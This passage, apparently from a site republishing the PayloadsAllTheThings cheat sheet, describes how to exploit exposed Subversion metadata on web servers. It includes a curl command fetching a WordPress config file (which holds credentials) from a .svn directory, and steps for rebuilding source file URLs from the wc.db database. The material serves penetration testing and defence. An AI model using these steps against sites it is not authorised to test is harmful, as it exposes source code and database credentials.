Insecure Source Code Management · passage 24 of 24

Subversion: Methodology

1 code block · Insecure Source Code Management/Subversion.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base

1. Download the svn database from `http://server/path_to_vulnerable_site/.svn/wc.db` ```powershell INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL); ``` 2. Download interesting files * remove `$sha1$` prefix * add `.svn-base` postfix * use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case) * create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`

Every one of the 24 is a mark on the map. Named now: 1 to 24, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.